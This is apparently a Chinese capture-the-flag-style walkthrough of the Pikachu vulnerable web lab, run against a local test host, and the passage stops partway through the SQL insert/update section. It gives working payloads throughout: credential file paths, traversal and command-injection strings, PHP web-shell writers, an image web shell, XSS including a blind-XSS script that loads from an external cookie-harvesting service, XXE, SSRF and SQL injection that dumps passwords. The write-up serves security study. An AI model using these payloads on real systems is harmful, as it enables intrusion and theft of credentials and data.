pikachu_全通关笔记_含源码解析
涂寐 Lv5

前言

  • 打 pikachu 靶场断断续续的,直到现在才通关和理解完毕。
  • 为什么我要拿 pikachu 来练基础呢?第一,开篇有漏洞概念和简要使用叙述;第二,够基础,wp较多
  • 最满意的,还是对 sql 模块的代码解析,很详很乱(解题时的笔记吗,总有些莫名的思路),但我理解

系统敏感文件路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// Windowsadmin
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
c:\Windows\win.ini // Windows系统的一个基本系统配置文件

// Linux
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
/proc/mounts // 记录系统挂载设备
/porc/config.gz // 内核配置文件
/var/lib/mlocate/mlocate.db // 全文件路径
/porc/self/cmdline // 当前进程的cmdline参数
/root/.ssh/known_hosts // 记录每个访问计算机用户的公钥
/root/.bash_history // 用户历史命令记录文件
/root/.mysql_history // mysql历史命令记录文件
/root/.ssh/authorized_keys // 公钥相关
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore

../../

目录遍历

对比url,发现是通过参数title来改变调用的文件,假设使用多个../使之达到顶级目录,再向下猜想路径。

1
2
3
4
# 靶场用kali搭的,就访问这 /etc/passwd
# Windows:Windows/win.ini

http://192.168.135.132:4512/vul/dir/dir_list.php?title=../../../../../etc/passwd

image

敏感信息泄露

IcanseeyourABC

审计网页源代码,总有些意外之喜
image

暴力破解

基于表单的暴力破解

无验证码直接爆破。

验证码绕过(on server)

网页源码审计,自身验证码库。丢重放里试,只要不放包,验证码不刷新。

验证码绕过(on client) 与token防爆破?

网页源码审计,前端JS验证。丢重放里试,只要不放包,验证码不刷新;其他,禁用JS。

  • CSRF Token Tracker插件,填入host和token,爆破时自动识别token更新,线程调为1,插件识别较慢。
  • Intruder模块自带功能Grep-Extract,Refetch response识别网页,网页中选中token值插件自动取值;交叉爆破,密码为参数1,token为参数2,token使用Recursive grep类型字典(递归)。

image

RCE

全称:remote command/code execute

exec “ping”

远程命令执行
可以想到,在多个指令结合使用时常用管道连接符 | 进行连接,抑或其他命令连接符 &&&|| 等。
docker搭建的靶场,无法ping出结果,测试其他命令类似

1
2
3
4
5
6
# 正常命令结构
ping 127.0.0.1
# 命令拼接后
127.0.0.1|ls ../
127.0.0.1|pwd
ad||ls

image

exec “evel”

远程代码执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 直接写入命令查看php信息
phpinfo();
# 可以使用的系统命令函数/程序执行函数
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
……
# 使用exec函数族
# 调用进程内部执行一个可执行文件
# shell_exec将所有输出流作为字符串返回
# exec默认情况下返回输出的最后一行,但可以将所有输出提供为指定为第二个参数的数组
echo shell_exec('pwd');
echo shell_exec('ls ../../');
echo exec('whoami');
echo exec('ls ../');
exec('ls ../', $out);var_dump($out);
# 使用命令执行函数system()
echo system('ls');

image

File Inclusion

文件包含漏洞

File Inclusion(local)

本地文件包含漏洞
分析URL可见,filename可控;分析源码,后端直接拼接前端 filename 传入的参数值后交由include()调用。

1
http://192.168.135.132/vul/fileinclude/fi_local.php?filename=../../../../../../../etc/passwd&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

image

File Inclusion(remote)

远程文件包含漏洞

1
2
3
4
5
6
# 你的allow_url_include没有打开,请在php.ini中打开了再测试该漏洞,记得修改后,重启中间件服务!
# 路径,重启
/etc/php/8.0/apache2/php.ini
# 自己看程序执行函数,进行理解,这里推荐两篇文章
https://www.cnblogs.com/0daybug/p/12610834.html
https://www.cnblogs.com/Rain99-/p/13720299.html
1
2
3
4
5
6
7
8
9
# tumei.txt
# http://192.168.135.132:49154/vul/fileinclude/fi_remote.php?filename=http://192.168.135.131/pikachu/tumei.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
# 举例:http://192.168.135.132/vul/fileinclude/tumei.php?tumei=ls
<?php
$myfile = fopen("tumei.php", "w");
$txt = '<?php system($_GET["tumei"]);?>';
fwrite($myfile, $txt);
fclose($myfile);
?>
1
2
3
4
5
6
7
8
# tumei.txt
# 蚁剑连接:http://192.168.135.132/vul/fileinclude/tumei.php
<?php
$myfile = fopen("tumei.php", "w");
$txt = '<?php @eval($_POST["tumei"]);?>';
fwrite($myfile, $txt);
fclose($myfile);
?>

Unsafe Filedownload

不安全的文件下载
简单的点击下载,没发现下载接口;瞅下网页源码,哈~

1
http://192.168.135.132/vul/unsafedownload/execdownload.php?filename=../../../../../etc/passwd

image

Unsafe Fileupload

不安全的文件上传漏洞

client check

看下网页源码,前端JS验证白名单,直接禁用JS,KO;
麻烦点的,改后缀(非图片马),绕过前端验证。
image

MIME type

随便张图,还是爆路径;其他格式,限制白名单。
验证上传文件格式?如题1,抓包改后缀,KO。

1
2
3
4
5
6
7
8
9
10
# 常见的MIME type
text/html # 超文本标记语言文本.html
text/xml # xml文档.xml
application/xhtml+xml # XHTML文档.xhtml
application/pdf # PDF文档 .pdf
application/msword # Microsoft Word文件 .word
text/plain # 普通文本.txt
application/rtf # RTF文本.rtf
image/gif # GIF图形.gif
image/jpeg # JPEG图形.ipeg,jpg

getimagesize

看下网页源码,无前端验证
上传一句话木马改后缀,假图片警告。
随便一个文件,非jpg,jpeg,png后缀则判断无后缀。
看下源码,大致为比对白名单,重命名文件后拼接白名单后缀。
查下getimagesize()函数,大致为校验文件类型(文件头)和限制文件大小!写个图片马呗
注:图片马不建议太大,可能不识别。

1
2
3
4
# abc.txt 内容:<?php phpinfo();?>
# abc.jpg 为任意图片
# tumei.jpg 为图片马
copy abc.jpg/b + abc.txt/a tumei.jpg
1
2
3
4
5
# 直接访问上传图片,看到的是以图片形式打开
http://192.168.135.132/vul/unsafeupload/uploads/2021/12/03/54399561a9f8908b517819183869.png
# 配合文件包含漏洞解析图片,即访问如下链接,以PHP形式打开上传的图片,就可以直接叫蚂蚁扛着剑来
# 注:URL勿乱码,中文转URL编码即可,乱码将无法连接一句话木马
http://192.168.135.132/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2021/12/03/54399561a9f8908b517819183869.png&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

Over Permission

跨站请求伪造

水平越权

URL中最为常见,用某些参数(如?username=admin)来管理界面的显示,不防范好直接就是一个水平。

1
http://192.168.135.132/vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF#

垂直越权

知道仅对管理员开放操作的URL,但普通用户知晓后亦可访问且操作,赤果果的拥有管理员权限。

1
http://192.168.135.132/vul/overpermission/op2/op2_admin_edit.php

URL重新向

不安全的url跳转

1
2
# url参数可控,可跳转至任意站点。如下跳转至笔者博客
http://192.168.135.132/vul/urlredirect/urlredirect.php?url=https://0xtlu.me

image

CSRF

CSRF(get)

看下tips,拿账号直接登录,登陆后用户有修改用户信息的功能。修改信息界面修改时抓包:方法一、通过BP自带的Generate CSRF Poc功能伪造实现该请求的HTML表单网页,通过远程服务器部署该网页诱导点击;方法二、抓包发现,请求数据附加在URL中且无防护,直接拼接URL再发给其他用户点击。

1
http://192.168.135.132/vul/csrf/csrfget/csrf_get_edit.php?sex=%E7%94%B7&phonenum=%E6%9D%8E%E7%99%BD&add=afaf&email=afafwe&submit=submit

image

CSRF(post)

请求数据在请求包的包体中。抓包,无token验证,尝试通过BP的Change request method功能将post请求转成get请求形式来实现漏洞,无果。如题1方法一,发现点击钓鱼网页后直接报错,重启KO。建议,网页伪装进行美化,更具诱导性。
image
image

CSRF Token

抓包,get+token,多次抓包,token随机,尝试如题1方法二,无解。
image

Cross-Site Scripting

跨站脚本

反射型xss(get)

检测一波转义和过滤’<;6(6=6&6)6>6/“,无过滤转义,写入img标签<img src=1>直接原形式读取,KO;深入利用,前端限制输入长度,方法一:看下URL,在上面直接修改输入;方法二:F12直接更改长度,错误的图片触发cookie弹窗:<img src=1 onerror='alert(document.cookie)'>

1
http://192.168.135.132/vul/xss/xss_reflected_get.php?message=<img src=1 onerror='alert(document.cookie)'>&submit=submit

反射型xss(post)

如题1,前端却无法修改输入长度;抓包,修改表单中的输入修改,KO
image

存储型xss

如题1,KO。留言板内容存储数据库,当他人访问该页面亦会弹出cookie窗口。

DOM型xss

随便输入,有条跳转提示,URL重定向?别逗了,这测XSS。构造标签闭合,点击事件触发弹窗,KO

1
2
3
4
# 拼接标签,#为链接到当前页面,输入的单引号'输出后显示为双引号
# # 号可替换为任意可访问的链接
# ' onclick="alert(123)">
https://0xtlu.me' onclick="alert(123)">

image

DOM型xss-x

如题4,仅是内嵌两层标签,需要点击新标签方能触发。

xss盲打

随便输入xss语句,没过滤,后台也确实可见,找个盲打平台搞他,直接拿到cookie。

1
</tExtArEa>'"><sCRiPt sRC=//xsshs.cn/aPwe></sCrIpT>

xss之过滤

直接给他整个img标签,过滤呢?实现script标签,我输入呢?直接被干掉,变下大小写,KO。看下源码,仅过滤script标签。尝试双尖号绕过,KO。

1
2
3
4
<img src=1 onerror=alert(123)>
<script>alert(369)</script>
<ScRiPT>alert(369)</ScRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>

xss之htmlspecialchars

没忘这个这个小语句吧^~^, ‘<;6(6=6&6)6>6/“ 瞅下网页源码, <;6(6=6&6)6>6/>" ,且输入作为a标签的herf内容;先简单了解下htmlspecialchars() 函数,把预定义的字符转换为 HTML 实体,那不要 <> ,直接插入点击事件作为herf的值 ‘onclick=’alert(369)’ ,KO。

1
2
3
4
// herf= 拼接点击事件
'onclick='alert(369)'
// herf= 拼接js语句,即使用js协议执行alert(369)
javascript:alert(369)

xss之href输出

直接试题8的payload,第二个KO。

1
<a href="javascript:alert(369)"> 阁下自己输入的url还请自己点一下吧</a>

xss之href输出

随便输入 '<;6(6=6&6)6>6/" ,居然没发现输入的内容,网页源码我来啦。可以看到,是使用js脚本处理输入,通过ms变量存储输入,接着判断ms长度,才进行 if else 判断是否有符合的输入。尝试闭合script标签,明显看到成功触发弹窗,且阻断后续代码执行。

1
2
'</script><img src=1 onerror="alert(369)">
"</script><script>alert(369)</script>

XXE

"xml external entity injection",既”xml外部实体注入漏洞”。
了解下XML,XML是可扩展的标记语言(eXtensible Markup Language),用来进行数据的传输和存储。

部分语言外部实体类型

libxml2PHPJava.NET
filefilefilefile
httphttphttphttp
ftpftpftpftp
phphttpshttps
compress.zlibjar
compress.bzip2netdoc
datamailto
globgopher *
phar

XXE漏洞

随便输入,返回 XML声明、DTD文档类型定义、文档元素这些都搞懂了吗? 我不懂,马上找度娘了解一波。
懂了,但又没完全懂,之后再遇到在针对性操作或有空再看看类似的靶场。

  • 提交正常数据

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <!-- XML声明部分 -->
    <?xml version = "1.0"?>
    <!-- 文档类型定义(DTD) -->
    <!-- 用来为 XML 文档定义语法约束,可为内部声明,抑或使引用外部DTD和公共DTD -->
    <!DOCTYPE note [
    <!-- 外部实体引入资源,SYSTEM和PUBLIC 分别表示从本地和网络引入 -->
    <!-- <!ENTITY tumei SYSTEM "file:///etc/passwd"> -->
    <!ENTITY tumei "I am tu Mei, a permeate small white">
    ]>
    <!-- 文档元素 -->
    <!-- 通过 &tumei; 调用实体 tumei ,使存储到其中的内容在前端回显 -->
    <name>&tumei;</name>
  • 任意文件读取此处读取/etc/passwd

    1
    2
    3
    4
    5
    <?xml version="1.0"  encoding="UTF-8"?>
    <!DOCTYPE note [
    <!ENTITY tumei SYSTEM "file:///etc/passwd"> <!-- /etc/passwd 为要读取的文件 -->
    ]>
    <name>&tumei;</name>
  • 使用php伪协议,将ssrf.php源码进行base64编码后输出前端

    1
    2
    3
    4
    5
    <?xml version = "1.0"?>
    <!DOCTYPE ANY [
    <!ENTITY tumei SYSTEM "php://filter/read=convert.base64-encode/resource=../ssrf/ssrf.php">
    ]>
    <name>&tumei;</name>

简述利用

  1. 任意文件读取
  2. 探测内网地址
  3. 通过DTD窃取文件
  4. 远程代码执行

SSRF

Server-Side Request Forgery:服务器端请求伪造

SSRF(curl)

  • 点击读诗,看了下URL,可控?改下url参数的值,成功通过服务器访问显示百度首页;利用其他协议读取内部文件,KO。
  • 看下源码,对输入值没过滤就直接作为 curl_exec() 函数的参数,完完。
    • curl_exec() –>执行 cURL 会话,若其参数为URL,则访问该URL。
    • curl_exec() 参数所支持的一些协议:FTP、FTPS、HTTP、HTTPS、GOPHER,、TELNET、DICT、FILE、LDAP等
      1
      2
      3
      4
      5
      6
      7
      # 显示百度首页和任意文件读取
      http://192.168.135.132:49154/vul/ssrf/ssrf_curl.php?url=https://www.baidu.com/
      http://192.168.135.132:49154/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd
      # 端口探测,此处pikachu容器的3306端口映射到49153端口;端口未开启仍显示没啥变化的读诗界面
      http://192.168.135.132:49154/vul/ssrf/ssrf_curl.php?url=192.168.135.132:3306
      http://192.168.135.132:49154/vul/ssrf/ssrf_curl.php?url=192.168.135.132:49153
      http://192.168.135.132:49154/vul/ssrf/ssrf_curl.php?url=127.0.0.1:80

SSRF(file_get_content)

一瞅,file参数可控,还是先了解下 file_get_contents() 函数:
file_get_contents() –> 将文件的内容读入到一个字符串中
看下源码,一样直接把输入作为 file_get_contents() 参数值,转成字符串后再 echo 输出

1
2
3
4
5
6
7
# 使用PHP伪协议爆敏感文件,base64解码查看内容哈
http://192.168.135.132:49154/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=http://192.168.135.132:49154/vul/ssrf/ssrf_curl.php
# 使用file协议,想看下其他敏感文件,奈何权限不够呀~
http://192.168.135.132:49154/vul/ssrf/ssrf_fgc.php?file=file:///etc/passwd
# 作为中间人远程访问其他网站或内网探测
http://192.168.135.132:49154/vul/ssrf/ssrf_fgc.php?file=https://0xtlu.me
http://192.168.135.132:49154/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1:3306

PHP反序列化

序列化 serialize() :将变量转换为可保存或传输的字符串的过程。
反序列化 unserialize() :将字符串转化为原来的变量使用,且只能将已经定义过的对象反序列化。

与PHP(反)序列化有关的魔法函数

php类中包含一些魔法函数,可在代码中任何地方不用声明即可使用

1
2
3
4
5
6
7
8
9
10
__construct()			//当一个对象创建时被调用
__destruct() //对象被销毁时触发
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__toString() //把类当作字符串使用时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发

反序列化学习与测试

1
2
3
4
# 漏洞银行丨PHP反序列化getshell丨咖面56期
https://www.bilibili.com/video/BV1Ft41187ZX?from=search&seid=11578774070645570762
# luckySec大佬博客
http://luckyzmj.cn/posts/92124f05.html

试下 pikachu 提供例子

1
2
3
4
5
6
7
<?php
class S{
public $test="pikachu";
}
$s=new S();
echo serialize($s);
?>

序列化后结果
写入题目输入框,打印出 pikachu 字样,看下网页源码,看到了p标签里的皮卡丘

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
O:1:"S":1:{s:4:"test";s:7:"pikachu";}

# O:object
# 1:对象名称(S)长度
# S:对象名称
# 1:对象中变量个数
# s:数据类型
# 4:变量名长度
# test:变量名
# s:数据类型
# 7:变量值长度
# pikachu:变量值

# 其他数据类型说明
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

瞅下源码,尝试分析一波

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}
}

# 实例化对象,S对象的test属性最终会拼接在p标签中
# 当我们输入序列化字符串时,将变量test的值篡改为恶意代码,将造成攻击
# if(isset($_POST['o'])):判断是否存在通过POST请求提交的变量o
# if(!@$unser = unserialize($s)):判断 $s 是否为序列化字符,不明白的看开头
# 构成完整的p标签后,使用 $html 存储,通过 <?php echo $html;?> 把结果输出网页

XSS弹窗:在反序列化数据后,立即自动调用了 __construct() 函数,执行 <img src=1 onerror=alert(‘IamTuMei’)>
反序列化先简单了解到这吧,之后再找专门靶场

1
2
3
4
5
6
7
<?php
class S{
var $test = "<img src=1 onerror=alert('IamTuMei')>";
}
$a = new S();
echo serialize($a);
?>
1
O:1:"S":1:{s:4:"test";s:37:"<img src=1 onerror=alert('IamTuMei')>";}

php在线运行平台

1
2
3
4
# php在线运行平台
http://www.dooccn.com/php/
https://c.runoob.com/compile/1/
https://www.toolnb.com/dev/runCode/243e11a40a13ca67d0f13d10dadfdd48.html

Sql Inject

Sql语法学习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# 菜鸟教程——SQL语法手册
# https://www.runoob.com/w3cnote/sql-syntax-manual.html

# SELECT相关
SELECT * FROM member -- 查找表 member 的所有记录
SELECT * FROM member WHERE id='1' -- 从 member 中查找字段 id 为 1 的记录
SELECT * FROM member WHERE id='1' OR id='3' -- OR,有 TRUE 为 TRUE ;AND,有 FALSE 为 FALSE
SELECT * FROM member WHERE id BETWEEN '2' AND '5' -- 指定查找字段 id 从 2 到5 的记录
SELECT DISTINCT pw FROM member -- 不重复查找表 member 中字段 pw 的所有记录
SELECT * FROM member ORDER BY `username` --按 username 字段排序所有记录

# 全字段插入新行
InSERT INTO member VALUES (45,'admin','admin','gril','13888888888','admin','admin@qq.com')
# 对应字段写入
INSERT INTO `pikachu`.`member` (`username`, `pw`, `sex`, `phonenum`, `address`, `email`) VALUES ('admin', 'admin', 'girl', '4466', 'fafa', 'daff@163.com')

# 更新 sex = 'da'所在记录的 usernmae 为 root
UPDATE member SET username = 'root'WHERE sex = 'da'

# 删除 username = 'admin' 的所有记录
DELETE FROM member WHERE username = 'admin'

# 获取 member 表中所有 email 记录,并使用组内拼接函数 group_concat() 拼接所有 email 记录
SELECT group_concat(email) FROM member

# UNION 操作符
# 作用:合并多个 SELECT 语句的结果集,不允许重复值
# 注:每个 SELECT 语句需要拥有相同数量的列,且列数据类型和列顺序需相同(似乎不是,强转?暂时不明白!突然想到,这是用来合并结果集的,那数据类型和顺序相同都是为了方便比较去掉重复值)
SELECT username,email FROM member WHERE id=2 UNION SELECT username,email FROM member;
SELECT 'a',5 UNION SELECT 4,'af';

# 其他
# mysql注释符 '#''--'
# url中#号用来指导浏览器动作(如锚点),对服务器端完全无用。故,HTTP请求中需要将#号改成%23
# --与代码中的单引号连接时,将无法形成有效的mysql语句。
# --+ +号在写入url时将变成空格(%20),进而与后面的单引号分隔开,成功注释后面语句。url中+号有时变成%2b造成报错,直接手动给他改成+
# --%20 +号变成空格?直接手动加空格(%20)
# --' 直接添加一个 ' 构造闭合
# DATABASE(); 当前数据库
# ORDER BY; 根据某字段对结果集排序
# GROUP BY; 根据某字段对结果集分组
# group_concat(); 将 GROUP BY 的分组连接成一个字符串
# information_schema数据库; MySQL 自带信息数据库(视图),用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等
# 其中,SCHEMATA 表(当前mysql实例中所有数据库的信息),主要获取各个数据库名(SCHEMA_NAME):select * from information_schema.SCHEMATA;
# TABLES 表(表信息)涵括数据库名(TABLE_SCHEMA),数据表名(TABLE_NAME),表类型(TABLE_TYPE)等字段。
# COLUMNS 表(列信息)涵括 数据库名(TABLE_SCHEMA),数据表名(TABLE_NAME),字段名(COLUMN_NAME)。
# LIKE 操作符用于在 WHERE 字句中搜索列中的指定模式。
select username,id,email from member where username like '%l%'
# 通过通配符(%)进行模糊搜索,获取username字段中所有含‘l’的值。
# LIMIT 操作符用于限制由 SELECT 语句返回的数据数量(记录数)
# 下列语句限制显示5条结果的返回
SELECT username FROM member LIMIT 5

常见注入点

1
2
3
数字型:user_id=$id
字符型:user_id='$id'
搜索型:text LIKE '%{$_GET['search']}%'"

数字型注入(post)

1
2
3
4
5
6
7
8
9
10
11
# 正常参数写入
id=1&submit=%E6%9F%A5%E8%AF%A2

# and 1=1 不报错,and 1=2 报错,id为问题参数
id=1 and 1=2&submit=%E6%9F%A5%E8%AF%A2

# SQL判断--单引号报错
id=1'&submit=%E6%9F%A5%E8%AF%A2

# 猜测全语句
select username,email from member where id = $id
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 源代码分析,好吧,这里解析挺好的

if(isset($_POST['submit']) && $_POST['id']!=null){
//这里没有做任何处理,直接拼到select里面去了,形成Sql注入
$id=$_POST['id'];
$query="select username,email from member where id=$id";
$result=execute($link, $query);
//这里如果用==1,会严格一点
if(mysqli_num_rows($result)>=1){
while($data=mysqli_fetch_assoc($result)){
$username=$data['username'];
$email=$data['email'];
$html.="<p class='notice'>hello,{$username}
your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的user id不存在,请重新输入!</p>";
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 其他payload

# 构造 OR 连接,显示所有返回记录
id=1 or 1=1&submit=%E6%9F%A5%E8%AF%A2
# 猜语句返回的字段数:Unknown column '3' in 'order clause'
id=1 order by 3#&submit=%E6%9F%A5%E8%AF%A2
# 猜member表中存在的字段
id=1 order by username&submit=%E6%9F%A5%E8%AF%A2
# 结合其他SQL语句,查询当前数据库名
id=1 union select 1,database()&submit=%E6%9F%A5%E8%AF%A2
id=1 union select database(),1#&submit=%E6%9F%A5%E8%AF%A2
# 根据捕获的数据库名列出其下所有表
id=1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='pikachu'&submit=%E6%9F%A5%E8%AF%A2
id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()&submit=%E6%9F%A5%E8%AF%A2
# 列出 member 表中所有字段
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'member'&submit=%E6%9F%A5%E8%AF%A2
# 不重复列出 member 表下 pw 字段的所有记录
id=1 union select 1,pw from member&submit=%E6%9F%A5%E8%AF%A2
# 或列出所有电话号码
id=1 union select 1,phonenum from member&submit=%E6%9F%A5%E8%AF%A2
# 列出 pikachu 库的 users 表下的所有密码
id=1 union select 1,password from users&submit=%E6%9F%A5%E8%AF%A2
# 列出 mysql 库的 db 表下的 User 字段的所有记录
id=1 union select 1,User from mysql.db&submit=%E6%9F%A5%E8%AF%A2

字符型注入(get)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 正常查询,返回所在记录的id 和 email 字段
http://192.168.135.132:49154/vul/sqli/sqli_str.php?name=lucy&submit=%E6%9F%A5%E8%AF%A2

# 单引号报错
192.168.135.132:49154/vul/sqli/sqli_str.php?name=lucy'&submit=查询

# '--+ 正常显示
http://192.168.135.132:49154/vul/sqli/sqli_str.php?name=lucy'--+&submit=%E6%9F%A5%E8%AF%A2

# 加号正常显示
http://192.168.135.132:49154/vul/sqli/sqli_str.php?name=lucy+&submit=%E6%9F%A5%E8%AF%A2

# 判断,name作为问题参数,具体SQL语句猜测
SELECT id,email FROM member WHERE username = $name
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 源代码分析
# 输入“'”搜索,还真提示引号没闭合,得注意点报错
# You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
# 直接用‘--+’给他把后边的给注释吧

if(isset($_GET['submit']) && $_GET['name']!=null){
//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];
//这里的变量是字符型,需要考虑闭合
$query="select id,email from member where username='$name'";
$result=execute($link, $query);
if(mysqli_num_rows($result)>=1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id}
your email is: {$email}</p>";
}
}else{

$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
}

1
2
3
4
5
6
7
8
9
10
11
12
# payload

# 执行当前所有查询操作
http://192.168.135.132:49154/vul/sqli/sqli_str.php?name=lucyname=kobe' or 1=1--+&submit=查询

# 获取当前数据库下所有表名
http://192.168.135.132:49154/vul/sqli/sqli_str.php?name=lucy' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()--+&submit=查询

# 查询users表中所有字段
http://192.168.135.132:49154/vul/sqli/sqli_str.php?name=lucy' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'--+&submit=查询

# 都类似 数字型注入(post) 的 payload,回去看看就好了

搜索型注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 查询所有用户名含'l'的记录
http://192.168.135.132:49154/vul/sqli/sqli_search.php?name=l&submit=%E6%90%9C%E7%B4%A2

# 单引号依旧报错
http://192.168.135.132:49154/vul/sqli/sqli_search.php?name=r'&submit=%641c%7d22

# 搜索框直接输入 ' order by 2# 判字段,得查询字段为2个
http://192.168.135.132:49154/vul/sqli/sqli_search.php?name=%27+order+by+2%23&submit=%E6%90%9C%E7%B4%A2

# 直接输入搜索框
# 列 users 表字段
' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'#
# 列所有password 记录
' union select 1,2,password from users#
' union select 1,2,group_concat(password) from users#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 分析源码
# 输入 ' 报错:
# You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1
# 构造闭合 ''%
# 阿巴阿巴啊吧,插不进语句,直接注释吧
# 嘻嘻,多试试总是好的,闭合成功
# i' UNION SELECT TABLE_SCHEMA,TABLE_NAME,TABLE_TYPE FROM information_schema.TABLES WHERE TABLE_TYPE LIKE '%

if(isset($_GET['submit']) && $_GET['name']!=null){

//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];

//这里的变量是模糊匹配,需要考虑闭合
$query="select username,id,email from member where username like '%$name%'";
$result=execute($link, $query);
if(mysqli_num_rows($result)>=1){
//彩蛋:这里还有个xss
$html2.="<p class='notice'>用户名中含有{$_GET['name']}的结果如下:
";
while($data=mysqli_fetch_assoc($result)){
$uname=$data['username'];
$id=$data['id'];
$email=$data['email'];
$html1.="<p class='notice'>username:{$uname}
uid:{$id}
email is: {$email}</p>";
}
}else{

$html1.="<p class='notice'>0o。..没有搜索到你输入的信息!</p>";
}
}

xx型注入

1
2
3
4
5
6
7
8
9
# 万能的单引号
http://192.168.135.132:49154/vul/sqli/sqli_x.php?name=%27&submit=%E6%9F%A5%E8%AF%A2
# 瞅下报错:
# # You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''')' at line 1
# 小括号这是没闭合?闭合并注释后面,得到构造 ')#
# 提示:您输入的username不存在,请重新输入!
# 加点数据,构造 ') order by 2#
# 还是提示:您输入的username不存在,请重新输入!
# 把2改成3,哦豁,字段爆出来了:Unknown column '3' in 'order clause'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# 源码
# 比对Navicat中进行的实验。
# select id,email from member where username=(''')
# > 1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''')' at line 1
# > 时间: 0s
# 可以看到,'''')' 可以拆分为 ‘''')’,在Navicat中可以明显看到 ''') 是有问题的,即没闭合造成报错。
# '':指定字符串,无法在其中再使用通配符
# 构造闭合
# lucy') UNION SELECT username,pw FROM member WHERE id=('2
# 完整语句
#select id,email from member where username=('lucy') UNION SELECT username,pw FROM member WHERE id=('2')


if(isset($_GET['submit']) && $_GET['name']!=null){
//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];
//这里的变量是字符型,需要考虑闭合
$query="select id,email from member where username=('$name')";
$result=execute($link, $query);
if(mysqli_num_rows($result)>=1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id}
your email is: {$email}</p>";
}
}else{

$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
}

“insert/update”注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# 正常登录
http://192.168.135.132:49154/vul/sqli/sqli_iu/sqli_login.php?username=admin&password=admin&submit=Login

# 试了下,注入不了,转战注册
username=admin&password=admin&sex=&phonenum=&email=&add=&submit=submit

# 赏密码一个单引号,又来了。
username=admin&password='&sex=&phonenum=&email=&add=&submit=submit
# 多个分号表示各个注册参数
# 报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''),'','','','')' at line 1

# 赏账号一个单引号
